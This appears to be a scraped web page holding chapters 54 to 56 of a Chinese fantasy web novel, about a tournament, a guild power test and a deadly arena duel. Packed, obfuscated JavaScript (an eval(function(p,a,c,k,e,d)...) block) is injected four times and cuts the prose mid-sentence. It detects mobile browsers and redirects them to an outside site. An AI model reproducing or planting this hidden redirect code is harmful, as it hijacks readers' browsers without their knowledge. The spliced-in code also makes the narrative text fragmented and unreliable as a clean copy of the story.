;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777145|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶人当磨刀石的刀语心,也取得了显著成果。 作为本源之力的分支,异化之力也同样分为五个层次,和异形者交手时刀语心就突破第二层界限,又在不断猎杀悬赏的过程中,触及第二层天花板。 但这样并没有给她带来太多的满足感。 “我好饿。”刀语心最近总是感到饥饿,但她被投喂的食物其实并不算少。 为此谢止沉特地给她诊断过,那其实是一种力量使用过度带来的匮乏感,病因是初始态力量过少,从祭司还有异形者身上获得的初始态异化之力,犹如杯水车薪。 治疗这一症状的唯一办法,就是让刀语心吞噬更多的种子。 如今刀语心达到突破的界限,但因为缺乏初始态迟迟无法突破到下一层,那种抓心挠肝的求而不得感会转变为食欲。 “嗯……如果真的很饿的话,要不要试试吃了我?”话语中夹杂着几分刻意引诱。 拥有本源之力的生命体并不算多,完整的种子更是数量稀少,但远在天边近在眼前,刀语心身旁就有一个。 而且应该是大补。 只不过刀语心面上浮出明晃晃的困惑,“这不能吃吧?” 祭司和异形者的种子都是在死后才形成的,就算谢止沉手段再高明也总会对身体造成损害,更何况身为同行许久的朋友,刀语心不打算让这种损人利己的情况发生。 看着刀语心少有的表情,谢止沉只是浅笑,这也让刀语心认为对方是在戏弄自己。 二人此刻的距离很近,她抬手就捏上谢止沉的脸颊威胁道:“小心我真的吃了你。” “求之不得。”感受着刀语心指腹的冰凉,谢止沉回应着。 她的力气也不大,按理来说并不会给谢止沉留下什么痕迹,但谢止沉总觉得自己被触碰过的地方泛着一丝痒意。 或许这表明,他渴望得到更多触碰。 但刀语心只是轻捏一下就放开手,打开终端浏览着混乱地界的网络。 最近混乱地界举行一项赛事,大多数人都在热火朝天地讨论,并不是因为他们有多少参与感,而是沉迷于下注,那种倾家荡产或者赢得一切的快意是入脑的毒药。 -40号那小子是不是打假赛啊?为什么对上72号一下就输了? -你懂什么,我们72号无无又敌敌。 -72就要和36号打了,这两个常胜必有一方会输。 -这两人还都是一样的路数,看不到职业更看不懂攻击手段,我准备每边压五十。 -我的塔罗牌告诉我,要将一切压住在72号身上。 刀语心是72号,谢止沉是36,同为潜力股的二人是重点关注对象。 “再过两场就到半决赛了,不出意外是我们两个对上。” 为了吸引更多的人来到混乱地界,这场赛事只要是前十都会有奖励,这也是他们都参赛的原因。 第一的奖励据说是混乱地界话事人珍藏的宝物,来到此地后,借由神令刀语心能感受到这里也有一件半神阶造物,且位置固定在没有变过,就在混乱地界老大的老巢里。 她和谢止沉都认为,这就是地图选中混乱地界的原因。 为了增强实力以及遵纪守法他们都提交了报名表,不出意外他们之后的两场比赛都不会输,真对上了刀语心是不会留手的,但谢止沉就说不定了。 “我会用同等级的实力和你战斗的。”谢止沉知道刀语心不会乐意看见自己拱手送上胜利。 “好啊。”她很期待。 54. 第 54 章 得益于远距离信号站的建立,即便相隔千里依然可以在终端聊天。 平日众人大多都有事要忙,只有假死养伤的罗茜常常给刀语心发来消息,她极力推荐刀语心去混乱地界的公会分部测试下自己的战力等级: 说不定会有惊喜等着你哦。 对于这个“惊喜”刀语心持怀疑态度,不过此时猎杀名单陷入停滞,更好认清自己的实力也是个不错的选择。 听到刀语心的打算后,谢止沉提出陪同,但被刀语心驳回。 “去了还得费尽心思压制欺骗测量仪器。”在刀语心看来这对谢止沉是一种负担,“放心吧,我一个人不会有问题的,只是你下午的比赛我可能看不了了。” 她还不知道具体检测流程需要耗费多少时间。 “好吧。” 完全不觉得这是负担的谢止沉只好将心中的委屈压下,依依不舍的目光注视着刀语心披上斗篷,踩着还未干透的地面走远。 没有刀语心在身边,谢止沉整个人带着一种无名的压迫感,戴上面具做好伪装他就前往赛场,在开赛前的最后一段时间,他看着终端上唯一的联系人,期盼着刀语心会发来消息。 没等到想要的消息,反而有烦人的声音在脑海中响起。 “你现在在做什么?参加这种无聊透顶的比赛?你还记得你的任务吗?”亘古意识不明白为什么谢止沉一直跟在那枚种子身边,即便是要保护也不至于寸步不离吧? 迟迟等不到想要的消息的谢止沉,手指轻敲额头,心不在焉的回复着对方:“你已经等了这么多年,再等一段时间又能怎么样?老老实实等着消息就好。” “哼,别怪我没提醒你,又有些家伙来到这个世界,也不知道是为了什么……” 很大概率是因为刀语心,谢止沉心中有答案但并不打算告知对方。 虽然也是合作对象,但亘古意识和刀语心完全不同,与前者的合作只是他太过无聊才随口答应下来,和刀语心相比,对方是一个随时可以抛弃的棋子。 谁更重要不言而喻。 “接下来入场的是这届大赛的夺冠候选者之一!36号——” 随着主持人播报响起,谢止沉在一片欢呼声中起身。 “我知道了,少来找我。” “你!”还没等对方的愤怒传递,谢止沉就斩断连接上场。 看台上的主持人还在介绍:“虽然对方有意隐瞒身份,但不难看出是个实力超绝的大法师——” 只是还没等解说进入状态,另一方的选手就已经倒在地上。 “……看来36号选手几天不见实力又精进许多,只是我怎么感觉他的心情似乎不是很好?” 满脑子都是想去找刀语心的谢止沉,在获得胜利后毫不留情离开赛场,和战斗的干脆利落不同他c内心无比纠结,将聊天框内的字打了又删重复许多次后,最终他先发去消息: -我已经赢了,你忙完了吗? -我等你回来。 而在谢止沉发去消息的前一刻,刀语心还在跟着终端上的地图寻找公会所在,只是地图并没有标注这个地方是某某势力的据点。 穿过面前的路就能到公会,所以她没有犹豫直接走了进去,直到有人拦在她的面前。 “喂,这里是我们的地盘。” “路过。”刀语心出声解释,她不打算争执,可惜对方并不是讲道理的人。 “路过?那就老老实实地把过路费交来。” 听到这话的刀语心站在原地,先声夺人地领头以为她是被吓住了,但很快他就发现自己错了。 “为什么不去抢那些大势力,是因为你们打不过所以不敢吗?” 一时之间,那领头愣在原地,反应过来后被戳到痛处的领头愤怒的提刀砍去,但他的攻击也被轻而易举挡下。 “废物。”刀语心钳制住他,面无表情地评价道。 “你们愣着做什么?打她啊!”气急败坏的领头朝身后呆若木鸡的人群喊道,不过就算有再多的人手,也改变不了他们打不过刀语心这一事实。 更有甚者,还没被刀语心碰到就先一步倒下装死。 同样作为胜利者的刀语心扫视着周围。 占地为王,但占的只是一条狭窄破旧的街道,他们甚至就住在那些摇摇欲坠的棚屋里。混乱地界是个实力至上的地方,落魄到此也足以推断地上这几人并不是什么厉害角色。 多对一还反被暴揍的领头见大事不妙,直接开始求饶:“错了,是我错了,姑奶奶您请走。” 不想耽搁时间的刀语心也没有过多追究,径直离开。 “老大,那我们今天吃什么?”装死的那人起身拍拍灰尘,不合时宜地发问。 “滚滚滚,哪壶不开提哪壶,再去找下一个不就是了。”打算专挑软柿子捏的领头,很快又发现了新的目标。 公会和商会一样在各地都设立了据点,此地公会装修风格颇有些工业风,并不出彩但也说不上破败,也只有这样才能在混乱之地长久运营。 还没等刀语心琢磨好自己下一步该去哪里,就有人迎了上来。 “你好,有什么需要的吗?” “我要测战力。” 混乱地界的人不算少,负责发布委托的公会更是有些人满为患,得到请稍等一会的答复后,刀语心坐在一旁眼神放空。 不过传入耳中的话语让她有些在意。 “你听说了吗?那杀人魔又宰了一个,偏偏昨晚又在下雨,难不成还真是什么雨夜杀人魔来了我们这地方?” “你说,这杀人魔会不会现在就在我们身边。” 越想那人越觉得毛骨悚然,虽然混乱地界是很混乱,但这种连环杀人案还找不到凶手的事情是头一次。 “你就别瞎担心了,人家虽然是杀人魔,杀的都是悬赏榜上的人物,你那点身价再翻十倍都够不着悬赏的最低标准金额。” “……话真难听但你说得好像有些道理。” 头一次听别人谈论自己的新称号刀语心不由有些新奇,她津津有味地听着,直到工作人员把她叫去别处。 “你好,请来这边测试。” 公会并不是对所有人都这样,这也引来一些打量的目光,只是他们无法得到任何有效信息。 “为什么领队对那个兜帽人这么特殊?”内部人员也有些不解。 “她是公会勋章拥有者。”自踏入公会的那一刻起就会受到礼待。 测试战力的地方是一个充满科技感的房间,核心系统矗立中央,四周有规划地布置着不同的测试项目。 进入内部的刀语心对周围一切充满好奇,她知道旧世界是以科技发展为主的信息时代,各种尖端科技层出不穷,有望一跃进入星际时代。 只不过这一切都被一场浩劫打破,世界原本的道路被彻底毁灭。 但这些上个时代残留的造物依然能在此刻派上用场。 置身这些精密运转装置的身边,刀语心仿若回到曾经那个年代,一旁提前设置好的机械语音出声介绍并提示刀语心接下来的动作: “欢迎使用战力测算设备。本设备由用户所做出的攻击获得数据,再综合不同系数得出分数,最后根据最终分数总和的多少,分为不同的等级。 可以选择隐藏,公会尊重个人隐私,保证数据只有用户本人知晓。” 刀语心没有立即触发装置。 她完全不相信这种口头承诺,虽说身为锻造师她偏向硬件部分对运行程序一类不算精通,但总体而言她还是略知一二。 找到接口调出后台面板一通操作下来,刀语心能确保自己的信息会回流销毁,再伪造一份平均值偏上的假数据等一切结束后自动传输,如此一来她才开始放心测试。 刀语心不喜欢将自己的手牌展露人前,只有隐藏起自己她才能获得安全感。 未知在哪里,恐惧就在哪里。 做好一切的准备后,刀语心将手放上台面感应,激活后机械声指引她来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789510|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个靶子面前。 “测试近战项目,请使用一切手段攻击。” 说完的那一刻就有个三分钟倒计时开始跳动。 四周的装置依次是近战、远程、法术、精神力强度…… 基本是些攻击项目一番测试下来刀语心最终评级为A+,她点开后展示出详细的等级判定,虽说身为锻造师职业等级不到40,但A+的战斗力已经处在常规战斗职业的40~45区间。 由于职业、技能、天赋等等综合范围,只能得到一个大概估值。 “您已超越80%测试者,继续加油哦~”听着冰冷生硬的机械音说出的激励话语,刀语心无端打了个冷颤。 刀语心并没有使用异化之力进行测试,一是没有合适的仪器,二是她不信任这个地方。 预想中结束测试的机械声并没有传来,周围突然变暗,显示的字体和机械语调也换了种风格,在刀语心的面前升起另一个台面。 “请将信物放置。” 信物?大概是那块花纹暗玉。刀语心将其嵌入其中,紧接着刀语心脚底亮起一个短距离传送阵,来到一个完全隔绝与外界的房间中。 来到未知环境中的刀语心握紧手中的剑。 她打量着四处,地面墙壁乃至天花板都刻满密密麻麻纹路,构成一个极其复杂的法阵。 “接下来,进行本源之力检测。” 听到提示的刀语心没有立刻行动而是皱起眉头,所以罗茜知道她是种子?才特意给她用来测试的信物。 结合以往的记忆以及在混乱地界网络上获取的信息,种子和本源之力的概念并不存在于大部分人的认知中,但种种迹象又表明这并不是个例。 在残存区剩余生命体中,拥有本源之力的占比是一个谜团。 祭司是人类但拥有部分本源之力,异形者身为异种追根溯源就是种子的一种。 最重要的是本源之力可以相互掠夺,且不知道其他人的来源是哪里,这大概也是为什么很难搜集到本源之力的信息,如果擅自暴露等待着的只会是争夺和厮杀。 她看着悬浮在空中不断旋转的光球。 和先前的机械装置测试不同,用来测试本源之力的仪器是一个浮在空中的圆球,刀语心用灭灵剑简单试了试,无法造成任何伤害。 事已至此,刀语心也不再去纠结被人知晓自己身为种子的身份会带来怎样的后果,她专注于眼前。 漆黑力量从她手中溢出,瞬息朝着圆球攻去。 将圆球击破,白色的能量波席卷刀语心的身躯,随后机械声再次响起,将一切数据清晰明了地展示在刀语心面前。 本源之力变种:异化之力 序列:??(未知错误) 等级:二阶巅峰 能力:塑形,心灵映射,位移 固有权能:吞噬(初阶) 初始态核心:异常缺失 “是否离开。”将详细数据传导进终端中,刀语心按下是,在转眼她已经被传送到原本测试战力的房间。 结束测试的刀语心从公会离开走在回家的路上,她在思索着刚才的测试,战力数据不难理解重点显然是在后面的异化之力上。 塑形对应的能力是将异化之力塑造成不同的攻击,映射对应着她能够用异化之力恶化他人的心绪,位移就是字面意思不难理解。 她在意的是初阶吞噬。 这份力量大概是她和异形者厮杀,突破二阶时召唤出的黑洞,但只出现了那一次后面无论怎么尝试都没有再出现。 她打算回去问问谢止沉权能究竟是什么。 与刀语心匀速的步伐不同,远处传来许多脚步交杂的奔跑,与其一同传递到刀语心耳中的还有一声呼救: “救救我!” 听到声音的刀语心抬眼,对上一双淡红双眸。 周围的人纷纷让开不想蹚浑水,不过刀语心并不打算让路,她将视线移向白发少女身后之人。 哟,还是熟人。 55. 第 55 章 见刀语心站定,少女跑过来躲在她的身后而那些追兵还在继续向前。 “喂!识相点就……姑,姑奶奶?”看见那熟悉的斗篷和深不可测的眼神,领头还没燃起的气势就瞬间扑灭。 现在天色渐晚,刀语心眯着眼看着不久前见过的拦路几人问:“她就是你们新挑的软柿子?” “对……”领头颤抖地应下,他已经做好挨打的准备。 “姑奶奶您就放过我们吧,我们平时不这样的,最近是因为老大突然打不过他死对头,我们没办法接任务出去所以才没钱吃饭了转行干抢劫的。”之前装死的下属急忙辩解。 所以是钱的问题。 思索片刻后,刀语心将一小袋银币扔向领头,“赎金。”这并不是施舍,而是作为解决当下冲突的筹码。 “谢谢姑奶奶!我们这就走!”领头还没缓过来,但身旁的人已经道谢完拉着他飞速离开现场。 处理完这几人,刀语心将目光移向身后一直拽住她斗篷的少女。 似乎是感受到目光的冷冽,少女怯生生放开手中抓紧的布料,比刀语心矮半个头的少女只能微微抬头和她注视。 给刀语心的第一印象像是柔弱可怜又无害的白猫,但真的是那样吗? “姐姐,谢谢你,我请你吃饭吧!”作为解除危机的报偿。 “不用了。” “不知道姐姐有没有听过一句古话,叫救命之恩当以身相许……” “你还是请我吃饭吧。”刀语心打断了她。 她们来到街边的小饭馆,有凶神恶煞的老板坐镇所以不会有人来打扰饭点,虽然这里的食物看上去是一个能吃的水准但刀语心吃的并不多,她想回去让谢止沉开小灶。 来的路上她们互相进行了简单的自我介绍,雪姬是白发少女的名字。 “看起来姐姐不是本地人,看来这里也不是你最终的目的地,不知道姐姐之后要去哪里呢?” “中央城。” “姐姐,我也想去中央城,我可以花钱让你带上我一起吗?” “我不缺钱。” 对话完全进行不下去,雪姬抿着自己的嘴唇沉默片刻后,再度开口:“姐姐,你是锻造师,对吧?” 先是在谈话间提到中央城又接着点明刀语心的职业,这大概不可以用巧合二字解释。人与人之间的关系大多来自利益交换,这是刀语心一直相信的事,所以—— “直接说出你的目的吧。” 最初的见面应该也是蓄谋已久的意外,雪姬可以特地伪装成这副模样吸引领头的注意力,再发散一些,有没有可能就是她让领头的死对头一时之间掌握更强战斗力,是导致他们无法接任务的关键所在。 “姐姐,你有什么小巧一点的道具吗。”她比划着大致范围,刀语心拿出一个护符给她。 只见雪姬划开自己的手心将护符浸染,在血色光芒流淌过后护符开始变化,即便没有检测但刀语心也能感受到护符升了一阶。 “可惜的是,我的血只能将单个物件进行一次升阶。” 但这也是一种十分珍贵的能力所在,也正因如此,雪姬才不得不通过逃亡离开原有的环境,至少她是这么告诉刀语心的。 从被检测出这项血液的能力开始,雪姬的人生就坠入暗无天日的地狱之中,她可以是试验品,也可以是造血仪器,唯独不是她自己。在好心人的帮助下她得以逃离,但只有回到中央城找到她的亲人,她才能获得真正的安全。 真假参半的谎言往往更难辨别,雪姬的血有诱惑力吗?有的,但也没势在必得的强烈。 从结果来看雪姬是算计了刀语心,但刀语心从一开始就在等待着鱼咬饵,毕竟被神令绑定的刀语心就算不带上雪姬也会无休止的暴露坐标,与其让敌人一直在暗处,不如直接引蛇出洞。 “我想知道你是从什么地方获得有关于我的信息。” “在逃亡的路途上,我遇到占星会的成员。” 思索片刻后刀语心起身准备离开,只留下几枚银币在桌上晃动:“走吧,交易成立。” 回去的路上刀语心就在终端上联系房东订好她附近的一居室,也和雪姬确定好交易内容:刀语心会带她去中央城,而雪姬会在身体承受范围内给刀语心血液。 只是有个意料之外的身影出现在她们面前。 “刀语心,她是谁?”毫无起伏的音调掩盖着已经严重到直呼姓名的妒火。 原本看到刀语心回来谢止沉眸色一亮,但发现她身边还有其他人后,他的眼神瞬间暗沉下来。 从天亮等到天黑,谢止沉等到刀语心带着其他人回来。 被视线威胁的雪姬瑟缩着拉住刀语心的衣角,很显然这会让怒火更进一步。 “回去和你说。”说完,刀语心转身从送货机器人上取下钥匙交给雪姬,给她指明住处后就打算和谢止沉一起回去,不过在临别前夕又发生一些插曲。 “姐姐,我还没和你加上终端好友呢。”雪姬出声挽留住刀语心,在顺利加上后,雪姬眉眼弯弯地继续和刀语心说着:“要是有需要随时叫我哦~姐、姐。” 某些本该出现的字眼被刻意隐去,刀语心没有察觉,意识到不对并火冒三丈的另有其人。 沉默一路回到住处后,谢止沉率先发问打破寂静。 “所以你更喜欢白发吗?” “什么?头发的颜色吗?一般吧,我更喜欢黑色。”听到这个回答后,火势消退了一些。 “你和她在外面吃过了?”谢止沉注意到另外一人手中拎着打包盒。 “是,但是我没吃多少,我更想吃你做的饭。”刀语心拉开椅子就坐下,饭桌上是谢止沉准备好的菜肴,他没有先吃而是等着刀语心回来一起。 原先的熊熊烈火只剩一点火苗。 “我还有最后一个问题,你没有看到我发给你的消息吗?”谢止沉语调不再是原先毫无起伏的平稳,而是故意掺杂上许多委屈。 听到这话的刀语心,夹菜的筷子停住,然后将其收回放下。 终端消息长年免打扰的刀语心迅速打开联系人列表,将谢止沉设置为特别关心并向他诚恳道歉:“是我的问题,以后我会注意了。” 确信刀语心不是故意不理会自己的谢止沉终于安心下来。 “是我不好,这些都是小事。”边承认错误,谢止沉边将刀语心爱吃的菜夹到她碗里,强装不在意开口询问:“说起来,那个人是谁?你为什么会带她一起回来?” 刀语心将遇到的事简单和谢止沉说了一遍,首要问题便是权能究竟是什么? “简单来说权能就是一种可成长的特殊能力,随着拥有的力量增强和进阶,你可以在这一本质力量上无限延伸和异变。” 这就是为什么检测出来的吞噬后面显示初阶。 “一般来说权能是在本源之力的变种进入第三阶段后显现,不过也不是所有事物都遵从着同样的规律,或许这也正是因为你初始态核心的缺失,导致你本该进入第三阶段却迟迟未成。” “我记得你和我说过一阶突破二阶需要的是力量完全覆盖自身,那突破二阶达到三阶的标准是什么?” “第三阶段的名称是外化,也就是力量脱离你但依然存在,最好的例子就是流光。”随着谢止沉的讲述,刀语心手腕上的流光在她眼前转了一圈后又回到原本的位置上。 那天对付异形者出现的黑洞也就是外化的情况,当时是在危急情形召出,此刻刀语心无法再度将其具现。 解决办法也很明了,就是吞噬其他种子或者拥有本源之力的生命。 “所以要怎么去分辨一个人是否拥有这些力量?”刀语心发问,她总不可能丧心病狂到见人就杀。 “这就要讲到序列了,高序列对低序列有着天生的压制和感知。” 但刀语心的序列显示未知错误,而她本人也从未察觉过其他力量的存在,这也是缺失初始态核心的遗留问题。 手指骨节在无意识掐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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神令不断向外传输着她的坐标引来猎人,被吸引而来的那些人或许和祭司一样想夺取她的力量,又或许有着其他什么未曾知晓的原因。 在这场由神明发起的狩猎游戏中,刀语心即是猎物,也是猎杀者之一。 “咚咚。” 房门被敲响,二人同时投去视线。 “是房东。”谢止沉收到流光传来的信息,现在已是深夜,显然并不是什么适合拜访的时机。 对视一眼后,他们一同到门口迎接这位不速之客。 打开锁扣拉开房门,刀语心见到面目慈祥的眯眯眼房东大婶站在明亮的走廊上。 “哎呀,真是不好意思打扰你们了。最近这天气不好整日下雨,这间屋子从前的租客和我说过房顶漏水问题,我的通信器坏了只好现在路过顺便来问问你们。” “有劳了,我们并没有发现有漏水现象。” “没有就行,等我明天去修理通讯器,之后有什么事还是像从前那样联系我就好。” 目送房东身影从走廊尽头消失后,刀语心关上房门。 “有些不对。”说着刀语心调出终端页面,不久前和房东的聊天页面是正常的,在刀语心帮雪姬租房时,房东就已经询问过她漏水问题。 据她所知,房东大婶并没有配偶,那么当时看见终端消息并送来钥匙的只能是她本人。 “她被精神操控了。”如果贸然打断反而会让被操控者陷入精神死亡,这也是谢止沉没有第一时间告知刀语心的原因。 做出这一系列举动的人是为了验证刀语心所处位置。 那时在刀语心身边的雪姬也知晓她和房东的对话,可以排除不是雪姬那方的人,这就说明还有一股势力藏在暗处。 “她会死吗?”刀语心眸色暗沉。 “不会。” 谢止沉明白刀语心不希望房东死去,既然如此那么房东就不会死,他出声,语调温柔地安抚着:“先休息吧,明天你还有比赛。” 不久后开关闭合,灯火熄灭。 现在刀语心能做的就是等着时间催化一切,她等待着鱼咬钩,等待着那些自诩猎人的猎物出现。 在同样漆黑的屋子正中,房东僵硬地坐在沙发上,她的眼睛并没有失去神采,只是被恐惧镀满,无尽暗色中她看见一道细小的红光朝她飘来。 与此同时从阳台外传来一道男声: “对,她就在这里。” “知道啦,我会按计划行事。” 56. 第 56 章 “欢迎收看八进四赛程的最后一场!首先出场的是11号,在过去的赛程中他险中求胜创造出一次次奇迹,种种事迹足以证明他是一匹黑马。 不过很可惜,今天他的对手是——毫无败绩的72号!” 在尾音落下的时分,刀语心从幕后缓缓走出。 掌声、欢呼、喝彩,这些声音与主持人的播报杂乱交织,无数的视线汇聚在她的身上,虽然已经登上擂台很多次,但刀语心还是不太适应。 那些目光大多不是什么美好祝愿,他们只希望能押对赢家从中大捞一笔。 “72!72!72!72!” “你还真是受欢迎呢。”听着此起彼伏的声响,11号看着传言中的不败战神朝他走来,面罩遮住大半容貌,只有那双有些瘆人的黑眸暴露在外。 身上没有任何标志性的物件,显然对方不愿意暴露自己的真实身份。 这场比赛只是为了吸引眼球,部分观众渴望看到血腥厮杀的场面,部分赌徒想从中谋取钱财,参赛者大多为了奖励,举办方也从未要求参赛者用真面目和真名。 每次登上擂台前刀语心都会简单伪装,发饰自动隐藏只将长发简单束起,灭灵剑也做了完全相反的银白涂层,她不希望有更多麻烦找上自己。 听见这话的刀语心明白他口中的并不是什么赞美,对方在期待着她被打败后跌落泥潭的时刻。 她没有回应,或者说无视就是她的回应。 见自己不被搭理11号也不生气,只是站在原地一直盯着刀语心,等待着标志着比赛开始的哨声落下,在主持一长串的介绍后,终于来到尾声:“那么,比赛正式开始!” 在哨音结束的瞬间,两人已经离开原地。 场地中心爆发出铮鸣,11号的匕首从灭灵剑上划过,尖锐的锋刃被剑身抵挡,刀语心手腕用力将对方的攻击化解,接着剑锋一转就朝11号砍去。 但在攻击到的一瞬,11号的身形先一步化为飞灰。 他藏起来了。 就在这时,刀语心听到观众席上传来惊呼。 她调转步伐,转身用剑挡住身后射来的暗器,同一时刻,11号的身影从刚才的方向朝她迅速接近。 比先前更危险的攻势袭来,只是同样被再次拦下,这一回不是剑,而是一支枪。 在枪口对准11号的一瞬间刀语心毫不犹豫的扣下扳机。 对此毫无预兆的11号眉头一皱,但距离太近他只能紧急避开要害,从枪管中射出的子弹在他半侧身躯上炸开一朵朵血花。 “那是一把枪械?还真是精彩,说起来这还是第一次看到72号选手使用除剑之外的武器。” 许多人对72号的战斗风格进行过研究,她只用一把剑但毫无剑法可言,并且从未使用过法术和战斗技能。她洞察力惊人,总能预判到对手下一步行动并加以防备,但是也不是取胜的关键。 那么72号是凭什么接二连三获得胜利? 凭纯粹的武力。 他们此刻面对面彼此之间位置离得很近,为了避开左侧弹道,11号只能往右偏移,但刀语心的右手从未松开她紧握着的剑。 在流动的分秒之间,她翻转手腕挥刃,银白色的长剑转瞬刺入11号的躯壳。 血液滴落台面,刀语心抽出剑身,将上面沾染的血渍甩去。 刹那间,比先前更猛烈的欢呼声响彻整个赛场:“72!72!72!” 所有人都认为11号已经输了。 不过刀语心总觉得事情没这么简单,那双毫无起伏的眼看着跪倒在地的人影,他周围有一股诡异的气息在涌动。 她察觉到了,但不打算立即干涉。 11号猛地咳嗽几声,他本该在万众期待中倒下,赛场下的救护人员已经做好了治疗他的准备,但只见他摇摇晃晃的重新站立,缓缓抬头看向刀语心所在方向。 刀语心和那双异变的血红双眼对视,其中的黑色瞳仁正在不断延伸成斜十字状,仿佛要从中裂开一般。 11号的目标不是名次,更不是奖励,他的目标从始至终是刀语心。 他边虔诚地低语,边慢慢朝刀语心走去。 “我将奉献我的骨血,我的魂灵,我所拥有的一切…… 向您求取,一点点至高无上的力量。” 此番景象如同故事中和恶魔达成交易,但对11号来说,对方不是什么面目可憎的怪物,更像是他心中的信仰,一种高不可攀的神圣存在。 他祈求的对象是神明,刀语心推断出答案。 不知名的仪式跨越时空界限达成,一股力量在渐渐填充他的身躯,只见11号伤势开始复原,感受着力量不断增强的他脸上露出满足又扭曲可憎面目。 直到刀语心提剑再度刺进他的躯体。 连接被迫中断的11号面目停滞一瞬,紧接着就是怒火焚身,他死死瞪着刀语心的身影,手掌握着剑刃一寸存拔出自己的身体,即便被划出血痕也依然在用力。 “该死的!该死的东西!你竟然敢打断这份恩赐!”11号生生把剑从自己体内拽出,再用前所未有的速度刺向刀语心。 面具的一部分掉落在台面,刀语心脸颊上出现一处血痕。 接二连三的攻击,11号用那双血红的眼睛看着被自己不断击退的刀语心,用充满讥讽的声音问道:“怎么?你难道还不打算使用那股力量吗?” “你不配。” 这句反问的目的性太过明显,反而印证出刀语心的猜想,11号背后的势力在借这场比赛探究她的攻击方式。 对此她早有准备,刚才打断仪式连接的并不是刀语心那一剑,而是她以金币为代价使用黑色棱体的干预强行中断仪式进程,那一剑只是障眼法。 至于11号,得到部分力量的他确实变强了,但也就那么一点。 她不再退后抵挡下攻击的同时反攻,在11号想故技重施躲起来时,先一步把他掀翻在地打断他的职业技能,被重摔倒地的11号再度从肺腑中咳出鲜血。 事情发展不再符合预期,11号心生退意想要说出:我认输。规则是只要说出这三个字,他就可以得到保护和治疗,但前提是他要能说出口。 “我——”在他开口说话的前一瞬,灭灵剑将他钉在原地。 “我给过你机会。”是他自己不珍惜,既然想杀死她,那同样要做好被她杀死的打算。 倒在地上的他眼睁睁看着刀语心手上转着匕首,一瞬间11号就明白她想干什么:她要用他最擅长的东西杀死他。还真是恶劣至极,想到这里11号只是嘴角流出鲜血,笑了出来。 “是我大意了,你远比我想象中的狂妄。” “谢谢夸奖。”说完,刀语心就利落了结他的性命。 在生命流逝的最终,他看着刀语心说出最后的“诅咒”:“就算我死了,他们,我的同胞,谁也不会放过你。” 所有人都在为这场精彩绝伦的表演欢呼雀跃,而刀语心只是被迫听着那些嘈杂的声音传入耳中,她垂眼看着匕首上滑落的血液。 可惜,11号身上并没有本源之力。 在一众杂乱狂热的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15814815|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线的注视下,刀语心忽然觉得有些冷寂,她似有所感朝台下望去,但映入眼帘的都是那些兴奋的观众,她感受到的冰冷似乎只是错觉而已。 是吗?刀语心不再纠结,她提起插在一旁的剑,重新走回幕后。 而在见证这一切后,某个不为人知的角落中一条指令被发送出去:“下一个。” 因为是八进四最后一场,所以比赛完成后也不能立即离开,有一个抽签仪式要举行用来决定之后的对手。不过在更早之前,刀语心就知道这场抽签的结果。 和他们预期一样,身为72号的刀语心和36号的谢止沉对上。 俗话说得好,肥水不流外人田,更何况是混乱地界这个以混乱著称的地方,最终的四人中有主办方提前安排好的内定冠军,自然给这位安排稍弱的对手。 不过无论最终的结局如何,刀语心都会把属于自己的东西拿到手。 比起平平无奇的另一组,显然是刀语心他们的比赛更引人注目,同为不败神话的两人对上总有一个要失败,这场比赛的关注度前所未有,大概率会比之后的总决赛更高。 聚光灯的照耀下,谢止沉看着刀语心面颊上的血痕,他本能地想要治疗但现在这个场合他们是互不认识的陌生人。 但他的视线早就暴露了自己。 很快,刀语心也侧头看向他,她的眼神似乎在说:你干嘛一直盯着我? 现在再移开视线有些过于刻意,他们彼此看着对方脸上由对方挑选的面具,想到这里谢止沉唇角抑制不住地翘起,“很高兴,我们能更快交手。” 在网络上观看直播的许多人也在这一刻发现两人间的互动。 -虽然戴着半张面具但似乎从没看见36笑过诶,他只有在面对72这会笑了一次。 -这是什么强者之间的惺惺相惜吗? -我不管,他好爱。 -?我家72独美好吧,别来沾边! -什么都磕只会害了你 -我不,我就要高举99大旗 -她笑了,她也笑了!! 先前战斗中被切割的面具恰到好处的显露出刀语心部分侧脸,即便摄像头距离有些远,但在将图片放大几倍后,网友们发现72号的嘴角弧度上升几个像素点。 她说:“当然,我也很期待。” 离开比赛场馆已是黑夜,两人还得特意分开绕路甩掉部分不怀好意的人,之前的赛程都是分开的,只有这一次如此麻烦。 